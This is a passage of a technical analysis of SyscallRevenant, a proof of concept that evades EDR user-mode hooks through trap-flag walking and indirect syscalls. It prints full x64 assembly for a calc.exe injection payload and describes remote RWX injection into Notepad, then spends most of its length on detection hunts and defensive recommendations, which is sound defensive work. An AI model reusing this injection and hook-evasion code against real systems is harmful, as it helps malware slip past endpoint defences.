A few details that are easy to skip on a first read. The first NtQuerySystemInformation is a size probe with a NULL buffer; SIZE comes back, then the real query. NtAllocateVirtualMemory is the six-argument form. Lookup asks for 4096 bytes PAGE_READWRITE in the current process. Execute asks for PAGE_EXECUTE_READWRITE in Notepad. Process handle and protection both change between the photograph and the chute. NtCreateThreadEx is the eleven-argument form; lookup points the start address at random values and the process handle at NtCurrentProcess(), execute points them at the remote page. Cleanup is NtExitProcess on self.
The ASCII revenant and the Wikipedia-flavoured REVENANT[] string are colour. The operational blob is SHELLCODE[162], which is calc/calc.asm assembled.
calc.asm
Position-independent x64. Aligns the stack, pushes 0x6578652E636C6163 (“calc.exe” little-endian), walks the PEB to kernel32 on the second InMemoryOrder hop, hashes exports with the same ROR7-add mix, and jumps to the match. Two hashes: 0x1A22F51 for the first call (WinExec) and 0x6DEC1356 for the RtlExitUserThread-shaped cleanup. Oldest lab payload on Windows. Loud on purpose.
BITS 64
AND SPL, 0xF0
RUN_WINEXEC:
MOV R11D, 0x1A22F51
PUSH 0
MOV RCX, 0x6578652E636C6163
PUSH RCX
MOV RCX, RSP
SUB RSP, 0x20
CMP RSP, 7
CALL RUN_FUNCTION
RUN_RTLEXITUSERTHREAD:
MOV R11D, 0x6DEC1356
PUSH RCX
RUN_FUNCTION:
GET_NTDLL:
MOV RDX, GS:[0x60]
MOV RDX, QWORD [RDX + 0x18]
MOV RDX, QWORD [RDX + 0x30]
JZ GET_FUN
GET_KERNEL32:
MOV RDX, QWORD [RDX]
MOV RDX, QWORD [RDX]
GET_FUN:
MOV RDX, QWORD [RDX + 0x10]
MOV EBP, DWORD [RDX + 0x3C]
ADD RBP, RDX
MOV EBP, DWORD [RBP + 0x88]
ADD RBP, RDX
MOV R8D, DWORD [RBP + 0x18]
MOV R9D, DWORD [RBP + 0x20]
ADD R9, RDX
SEARCH:
DEC R8
MOV ESI, DWORD [R9 + R8 * 4]
ADD RSI, RDX
XOR RAX, RAX
XOR R10, R10
HASH:
LODSB
CMP AL, 0
JZ COMPARE
ROR R10D, 7
ADD R10D, EAX
JMP HASH
COMPARE:
CMP R10D, R11D
JNZ SEARCH
MOV EAX, DWORD [RBP + 0x24]
ADD RAX, RDX
MOV R8W, WORD [RAX + R8 * 2]
MOV EAX, DWORD [RBP + 0x1C]
ADD RAX, RDX
MOV EAX, DWORD [RAX + R8 * 4]
ADD RAX, RDX
JMP RAX
It does not know WinExec’s address in advance. Same guest list as the resolver, different DLL, jump to the hash hit, string calc.exe. When Calculator appears, the path worked. On a real job this blob would be something else. Here it is the canary.
The other illustration
assets/ also ships revenant_.jpg, a wider frame the README never embeds. It is in the public tree, so it belongs with the rest of the original rasters.

The neighbourhood
The README cites Hell’s Gate, Halo’s Gate, and Dark Vortex on DLL proxying versus ETW-TI stack tracing. That is the right shelf. The table below is orientation, not a plagiarism chart.
| Family | SSN | Fire | Hook sees args? |
|---|---|---|---|
| Hell’s Gate (am0nsec, 2020) | Read mov eax, SSN from a live prologue | Direct syscall in attacker memory | Skipped |
| Halo’s Gate (Sektor7 / reenz0h, 2021) | Neighbour exports, reconstruct SSN ± N | Direct or indirect, depending on the port | Skipped on a hooked target |
| Tartarus’ Gate (trickster0) | Walk further when Halo’s siblings are hooked too | Same family of stubs | Skipped on a hooked target |
| SysWhispers / SysWhispers3 | Sort Zw* by address; SSN is the index, with exceptions | Generated stubs, often indirect | Skipped if the stub never enters the export |
| Classic indirect (RedOps and others) | Any of the above | jmp to syscall; ret in ntdll | Skipped if the jump lands on the gadget |
| DoomSyscalls (same author) | Dynamic SSN and opcode resolution | Indirect, RIP spoof via ntdll addresses | No Revenant-style two-pass tamper |
| SyscallRevenant | Trap-walk the hooked stub until 0x0F05; SSN from RAX | Jump to the saved opcode; stack return swapped for the lookup’s return | Yes, on purpose. Dummy on pass one, real on pass two |
am0nsec/HellsGate, Sektor7 Halo’s Gate, 0xdarkvortex.dev. Those three links are the README reference list, in order. Same-author lineage, not cited there: DoomSyscalls and Reverse-Shell-with-Indirect-Syscalls.
Revenant’s bet against prologue readers is that hooked bytes are unreadable as mov eax, imm32, so you execute the stub under single-step instead of parsing it. Against naive indirect syscalls: landing on the gadget without ever entering the export can itself be a signal, whereas a dummy entry produces a benign hook event. Against stack-walk telemetry: the FRTN swap. Each bet fails in a different place. TF storms. QPC gaps. Kernel-visible arguments that do not match the hook event. Frames whose return addresses stop making sense once RRTN is restored.
ATT&CK, and what this is not
A technique and a lab PoC. No CVE in the repository. CWE is a stretch here; the useful indices are ATT&CK and the leftovers the source has to produce if you actually run the demo.
| ID | Name | In this tree |
|---|---|---|
| T1106 | Native API | Every kernel transition is an Nt*/Zw* call from a custom trampoline. |
| T1055 | Process Injection | Remote RWX + write + NtCreateThreadEx into Notepad. |
| T1055.002 | Portable Executable Injection | 162-byte PIC blob, new thread. |
| T1027 | Obfuscated Files or Information | ROR7 hashes; no windows.h import table for the Nt* APIs. |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Hooks are entered, then bypassed. |
| T1622 | Debugger Evasion | Weak mapping. TF is a debug control used here as a tracer. |
| T1059 | Command and Scripting Interpreter | WinExec(“calc.exe”) is the lab tell. |
If someone needs a CWE for a control-gap discussion, CWE-693 (Protection Mechanism Failure) is the one that describes a hook that failed to bind entry to kernel operation. That is a sensor-design conversation. There is no Patch Tuesday bulletin hiding in this repo.
What still fires
si13nt already gave away the cleanest hunt: QPC. The rest follows from running the published source as published.
The lookup pass does enter the hooked export. A hook that logs NtOpenProcess(NULL, PROCESS_ALL_ACCESS, NULL, NULL) or NtAllocateVirtualMemory(-1, ...) with nonsense sizes still gets an event. The event looks failed or irrelevant. Pair it with a kernel SysEnter for the same SSN a little later with different arguments.
ETW-TI still sees a syscall whose RIP is inside ntdll. The spoofed return tries to make the user frame look like the lookup. Inconsistency between an Rsp-derived walk and the restored RRTN after TRAMPOLINE_EXIT is a hunting surface.
The demo allocates RWX in another process and calls NtCreateThreadEx. Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread), and Event 1 for calc.exe with parent Notepad remain theatrical. VEH registration with First=1 plus a burst of EXCEPTION_SINGLE_STEP is a signature on its own.
# Hunt sketch. Not a production pack.
# 1) User-mode hook log: Nt* entry with dummy / current-process args.
# 2) Kernel SysEnter, same SSN, different args, QPC delta too long for a clean stub.
# 3) Sysmon:
# Event 10 TargetImage ~ notepad.exe
# Event 8 start in notepad, StartFunction not a known export
# Event 1 Image = *\calc.exe, ParentImage = *\notepad.exe
# 4) Count EXCEPTION_SINGLE_STEP in the issuing process in the same window.
Stop treating “syscall originated in ntdll” as a close. That check is what indirect syscalls were invented to satisfy. Bind three clocks: hook-entry QPC, SysEnter QPC, SysExit QPC. Bind two argument records: hook-visible RCX/RDX/R8/R9 versus kernel-visible. Bind two stacks: the one the hook sampled and the one ETW-TI sampled. Revenant is built so each pair is almost consistent. The residual is the pair that is not. Kernel callbacks (PsSetCreateThreadNotifyRoutine, ObRegisterCallbacks on process handles) still see the execute pass. They sit on the other side of the chute.
References
README order:
- Original HellsGate https://github.com/am0nsec/HellsGate/tree/master
- Original HalosGate https://blog.sektor7.net/#!res/2021/halosgate.md
- DLL Proxying https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing
Key Takeaways
- Trap-flag walk of a hooked ntdll stub, then an indirect syscall with swapped arguments and a borrowed return address. MIT, si13nt / SilentisVox.
- Pass one is supposed to satisfy user-mode hooks. Pass two is supposed to satisfy “came from ntdll.” The detection is the disagreement, plus the clock.
- SSN and opcode come from the live process, so ntdll rebases and smashed prologues that kill Hell’s Gate readers are less of a problem.
- The published PoC is still remote calc into Notepad. Sysmon will notice even if the hook did not.
- ROR7 hashes, PEB from GS:[0x60], no GetProcAddress on the syscall path. Cheap IOCs for this build; the method survives a rehash.
- README says AsmRevenant.asm and REAL_RTN. The tree says Revenant.asm and RRTN. Teaching names in the VEH sketch differ from the C.
- No CVE. Kernel callbacks, ETW-TI argument binding, and single-step storms still exist.
Defensive Recommendations
- Bind hook telemetry to SysEnter. Store SSN, QPC, and the first four arguments on both sides. Alert when they disagree, and when they agree too slowly.
- Count EXCEPTION_SINGLE_STEP inside ntdll .text. That burst is the rehearsal.
- Keep ObRegisterCallbacks on process and thread objects, plus thread-notify. They see the execute pass of this demo.
- RWX in a foreign process plus a thread start at a non-image address is still a high-quality signal when the allocator’s user-mode hook was fed dummy arguments.
- Stack-walk, then check RSP. A return that points at a benign TRAP_SYSCALL site while the current frame cannot unwind there is the spoof tearing.
- Leave the user-mode hooks in place. Revenant uses them as cover. Correlation is the fix.
- Lab the public tree. Signature the hashes if you want a cheap win on this exact build, and hunt the method for the next one.
Conclusion
User-mode EDR has lived for years with a lazy bind: function entry equals kernel operation. SyscallRevenant is a public, fairly small demonstration of how that bind comes apart. Single-step the hooked stub, steal the number and the opcode, jump back with a different letter in the envelope, leave a return address that photographs well. The same source shows why the trick is audible. Trap flags clatter. Clocks drift. Notepad grows a thread it did not ask for, and Calculator still launches. Read it as a sensor-design critique, run it where you have permission, and keep the chute instrumented as carefully as the lobby.
Original text: “SyscallRevenant” by si13nt (GitHub: SilentisVox), MIT License, 2026.


